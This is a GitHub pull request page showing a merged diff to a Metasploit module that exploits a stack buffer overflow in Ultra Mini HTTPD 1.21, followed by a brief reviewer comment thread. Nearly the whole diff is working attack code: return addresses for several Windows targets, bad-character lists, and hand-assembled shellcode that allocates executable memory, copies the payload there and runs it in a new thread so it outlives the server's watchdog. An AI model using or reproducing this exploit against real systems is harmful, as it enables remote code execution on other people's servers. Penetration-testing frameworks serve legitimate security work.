Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Update the Ultra Mini HTTP bof exploit #3027

Merged
merged 1 commit into from Feb 24, 2014
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
124 changes: 112 additions & 12 deletions modules/exploits/windows/http/ultraminihttp_bof.rb
Expand Up @@ -10,19 +10,28 @@ class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient

ADDR_VIRTUALALLOC = 0x0041A140
ADDR_CREATETHREAD = 0x0041A240
ADDR_TERMINATETHREAD = 0x0041A23C

def initialize(info={})
super(update_info(info,
'Name' => "Ultra Mini HTTPD Stack Buffer Overflow",
'Description' => %q{
This module exploits a stack based buffer overflow in Ultra Mini HTTPD 1.21,
allowing remote attackers to execute arbitrary code via a long resource name in an HTTP
request.
request. This exploit has to deal with the fact that the application's request handler
thread is terminated after 60 seconds by a "monitor" thread. To do this, it allocates
some RWX memory, copies the payload to it and creates another thread. When done, it
terminates the current thread so that it doesn't crash and hence doesn't bring down
the process with it.
},
'License' => MSF_LICENSE,
'Author' =>
[
'superkojiman', #Discovery, PoC
'PsychoSpy <neinwechter[at]gmail.com>' #Metasploit
'superkojiman', # Discovery, PoC
'PsychoSpy <neinwechter[at]gmail.com>', # Metasploit
'OJ Reeves <oj[at]buffered.io>' # Metasploit
],
'References' =>
[
Expand All @@ -33,22 +42,41 @@ def initialize(info={})
],
'Payload' =>
{
'Space' => 1623,
'StackAdjustment' => -3500,
'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f"
},
'DefaultOptions' =>
'DefaultOptions' =>
{
'ExitFunction' => "thread"
'EXITFUNC' => "thread"
},
'Platform' => 'win',
'Targets' =>
[
[
'v1.21 - Windows XP SP3',
'v1.21 - Windows Server 2000',
{
'Offset' => 5412,
'Ret' => 0x78010324 # push esp / ret - msvcrt.dll
}
],
[
'v1.21 - Windows XP SP0',
{
'Offset' => 5412,
'Ret' => 0x77C4C685 # push esp / ret - msvcrt.dll
}
],
[
'v1.21 - Windows XP SP2/SP3',
{
'Offset' => 5412,
'Ret'=>0x77c354b4 # push esp / ret - msvcrt.dll
'Ret' => 0x77c354b4 # push esp / ret - msvcrt.dll
}
],
[
'v1.21 - Windows Server 2003 (Enterprise)',
{
'Offset' => 5412,
'Ret' => 0x77BDD7F5 # push esp / ret - msvcrt.dll
}
]
],
Expand All @@ -58,15 +86,87 @@ def initialize(info={})
))
end

def mov_eax(addr)
"\xB8" + [addr].pack("V*")
end

def call_addr_eax(addr)
mov_eax(addr) + "\xff\x10"
end

def exploit
buf = rand_text(target['Offset'])
new_thread = ""

# we use 0 a lot, so set EBX to zero so we always have it handy
new_thread << "\x31\xdb" # xor ebx,ebx

# store esp in esi, and offset it to point at the rest of the payload
# as this will be used as the source for copying to the area of memory
# which will be executed in a separate thread. We fill in the offset
# at the end as we can calculate it instead of hard-code it
new_thread << "\x89\xe6" # mov esi,esp
new_thread << "\x83\xc6\x00" # add esp,<TODO>
esi_count_offset = new_thread.length - 1

# Create a new area of memory with RWX permissions that we can copy
# the payload to and execute in another thread. This is required
# because the current thread is killed off after 60 seconds and it
# takes our payload's execution with it.
new_thread << "\x6a\x40" # push 0x40
new_thread << "\x68\x00\x30\x00\x00" # push 0x3000
new_thread << "\x68\x00\x10\x00\x00" # push 0x1000
new_thread << "\x53" # push ebx (0)
new_thread << call_addr_eax(ADDR_VIRTUALALLOC) # call VirtualAlloc

# copy the rest of the payload over to the newly allocated area of
# memory which is executable.
payload_size = [payload.encoded.length].pack("V*")
new_thread << "\xb9" + payload_size # mov ecx,payload_size
new_thread << "\x89\xc7" # mov edi,eax
new_thread << "\xf2\xa4" # rep movsb

# kick of the payload in a new thread
new_thread << "\x53" # push ebx (0)
new_thread << "\x53" # push ebx (0)
new_thread << "\x53" # push ebx (0)
new_thread << "\x50" # push eax (payload dress)
new_thread << "\x53" # push ebx (0)
new_thread << "\x53" # push ebx (0)
new_thread << call_addr_eax(ADDR_CREATETHREAD) # call CreateThread

# Terminate the current thread so that we don't crash and hence bring
# the entire application down with us.
new_thread << "\x53" # push ebx (0)
# set ebx to 0xFFFFFFFE as this is the psuedohandle for the current thread
new_thread << "\x4b" # dec ebx
new_thread << "\x4b" # dec ebx
new_thread << "\x53" # push ebx (0xFFFFFFFE)
new_thread << call_addr_eax(ADDR_TERMINATETHREAD) # call CreateThread

# patch the offset of esi back into the payload
nops = 32
decode_stub_size = 23
calculated_offset = new_thread.length + nops + decode_stub_size
new_thread[esi_count_offset, 1] = [calculated_offset].pack("c*")

# start constructing our final payload
buf = rand_text_alpha_upper(target['Offset'])
buf << [target.ret].pack("V*")
buf << payload.encoded

# ESP points right to the top of our shellcode so we just add a few nops
# to the start to avoid having the first few bytes nailed by the decoder.
buf << make_nops(nops)

# we re-encode, including the thread creation stuff and the chosen payload
# as we don't currently have the ability to "prepend raw" stuff to the front
# of the buffer prior to encoding.
buf << encode_shellcode_stub(new_thread + payload.encoded)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

There's no need to encode payload.encoded again.

buf << encode_shellcode_stub(new_thread)
buf << payload.encoded

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@jlee-r7 I didn't do this because I didn't want to assume the
location/offset of the final payload would be consistent across all runs of
the exploit. I wasn't sure if that was a safe assumption or not. I also
thought that if for some reason the decoder stub changed over time, or if a
different encoder was used, then this would be better.

Thanks for the feedback! I still have so much to learn.


print_status("Sending buffer...")
send_request_cgi({
'method' => 'GET',
'method' => 'POST',
'uri' => "/#{buf}"
})
end
end